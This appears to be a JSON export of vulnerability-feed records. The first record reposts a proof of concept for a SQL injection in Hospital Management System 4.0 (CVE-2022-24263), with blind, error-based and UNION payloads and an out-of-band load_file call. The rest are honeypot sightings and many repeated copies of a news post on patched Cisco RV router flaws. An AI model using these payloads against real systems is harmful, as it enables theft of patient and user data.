"1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.158536+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41887", "content": "Exploit Collector\nHospital Management System 4.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png \nHospital Management System version 4.0 suffers from multiple remote SQL injection vulnerabilities. Original discovered of SQL injection in this version is attributed to Metin Yunus Kandemir in January of 2020.\n\nMD5 | fecde691e84e5dd271b20b214d542874\n\nDownload\n## Title: Hospital Management System v4.0 Multiple SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.06.2022\n## Vendor: https://github.com/kishan0725\n## Software: https://github.com/kishan0725/Hospital-Management-System\n## CVE-2022-24263\n## Description:\nThe Hospital Management System v4.0 is suffering from Multiple\nSQL-Injections via three parameters in function.php,  contact.php, and\nfunc3.php applications.\nThe attacker can be receiving the all information from the system by\nusing this vulnerability, and also the malicious actor can use\nsensitive information from the customers of this system.\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: txtName (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: txtName=821761' AND (SELECT 9346 FROM\n(SELECT(SLEEP(3)))HJGv) AND\n'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select\nload_file('\\\\\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\\\hgq'))+'&btnSubmit=Send\nMessage&txtMsg=441931\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)\nOR 1 GROUP BY CONCAT(0x7162706271,(SELECT (CASE WHEN (5080=5080) THEN\n1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)\nUNION ALL SELECT\n8185,8185,CONCAT(0x7162706271,0x5777534a4b68716f6d4270614362544c4954786a4f774b6852586b47694945644a70757262644c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY\nCONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0\nEND)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT\nCONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a6977736855756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263)\n\n## Proof and Exploit:\n[href](https://streamable.com/m4hnm1)\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2022-24263", "author": {"login": "automation"}}, {"uuid": "0c245f73-14ae-449d-ae22-fca62f254dc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.141856+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2019-12276", "author": {"login": "automation"}}, {"uuid": "1c678da9-d23c-4014-945d-19154ed8d3df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.108335+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20702", "author": {"login": "automation"}}, {"uuid": "1bc857ba-d560-47da-bbfd-e772b27d1d36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.083460+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-0592", "author": {"login": "automation"}}, {"uuid": "fc8df69c-d459-4a43-8121-8f9778b3129f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.059296+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20706", "author": {"login": "automation"}}, {"uuid": "9e771db9-abd1-41d8-8d98-54ae8f13cfb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.014269+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20705", "author": {"login": "automation"}}, {"uuid": "5a8721d4-def3-4541-8d42-6640616f843c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.986069+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2017-18368", "author": {"login": "automation"}}, {"uuid": "727df2dc-811b-4ff6-9d8f-bd36f989bfdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.966334+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20699", "author": {"login": "automation"}}, {"uuid": "31cffc33-e827-434a-9ae7-5956c8840d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.926823+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-6329", "author": {"login": "automation"}}, {"uuid": "8d96ad01-b511-4f90-acf3-06f3950308a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.926340+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20712", "author": {"login": "automation"}}, {"uuid": "0e6b70f2-9fd5-4a86-a80e-66d175f92f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.876502+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nThe CVE-2022-20699, CVE-2022-20707, CVE-2022-20708, CVE-2022-20709, CVE-2022-20711, and CVE-2022-20749 vulnerabilities only affect the following Cisco products:\n\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit Wireless-AC VPN Routers\n* RV345 Dual WAN Gigabit VPN Routers\n* RV345P Dual WAN Gigabit POE VPN Routers\nSee Also: Recon Tool: WitnessMe Even if your product isn\u2019t affected by any critical vulnerabilities, there\u2019s always a chance that threat actors will chain several less severe flaws to achieve high-impact attacks.\n\nIf you\u2019re using any of the products listed above, i[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-20701", "author": {"login": "automation"}}, {"uuid": "5c38ee70-eab1-4420-a3aa-253a004fd255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.864453+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-22122", "author": {"login": "automation"}}, {"uuid": "6492cb6a-4ce6-4833-b482-46553ff78bf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:05.830166+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41421", "content": "Black Hat Ethical Hacking\nCisco patches critical vulnerabilities in SMB routers, exploitation available\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Cisco patches critical vulnerabilities in SMB routers, exploitation availablePost Views: 106 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nCisco has released patches for multiple vulnerabilities in the Small Business RV Series router platform that could allow remote attackers to gain complete control over the device, in many cases, without authentication.\nIn total, there are fifteen vulnerabilities fixed by these security updates, with five of them rated as Critical as threat actors can use them to gain \u2018root\u2019 privileges or remotely execute commands on the device.\n\nAccording to the advisory, an attacker exploiting these flaws could execute arbitrary code, elevate privileges, run commands, bypass authentication protections, retrieve and execute unsigned software, and cause a denial of service (DoS) condition.\nSee Also: Complete Offensive Security and Ethical Hacking Course Numerous critical flawsCisco\u2019s advisory notes that multiple security vulnerabilities have been classified as \u2018Critical\u2019 due to the ease of exploitation and potential for abuse.\n\nThe most significant vulnerabilities in terms of their severity are:\n\nCVE-2022-20699: A code execution flaw in the SSL VPN module caused by an insufficient boundary check when processing specific HTTP requests. (CVSS v3 score 10.0)\n\nCVE-2022-20700\u00a0and CVE-2022-20701: Privilege escalation (up to root) flaws in the router\u2019s web-based management interface, which suffers from insufficient authorization enforcement mechanisms. (CVSS v3 score 10.0 and 9.0 respectively)\n\nCVE-2022-20703: A signature verification bypass vulnerability in the software image verification feature, relying on the improper verification of software images installed on the affected device. (CVSS v3 score 9.3)\n\nCVE-2022-20708: Command injection flaw in the web-based management interface of the routers, which suffers from insufficient user-supplied input validation. (CVSS v3 score 10.0)\nSee Also: Windows vulnerability with new public exploits lets you become admin Cisco warns that some of these vulnerabilities need to be chained together to exploit an RV series router.\n\n\u201cSome of the vulnerabilities are dependent on one another. Exploitation of one of the vulnerabilities may be required to exploit another vulnerability,\u201d explains the Cisco advisory.\n\nThe vulnerabilities tracked CVE-2022-20700, CVE-2022-20701, CVE-2022-20702, CVE-2022-20703, CVE-2022-20704, CVE-2022-20705, CVE-2022-20706, CVE-2022-20710, and CVE-2022-20712 affect:\n\n* RV160 VPN Routers\n* RV160W Wireless-AC VPN Routers\n* RV260 VPN Routers\n* RV260P VPN Routers with PoE\n* RV260W Wireless-AC VPN Routers\n* RV340 Dual WAN Gigabit VPN Routers\n* RV340W Dual WAN Gigabit 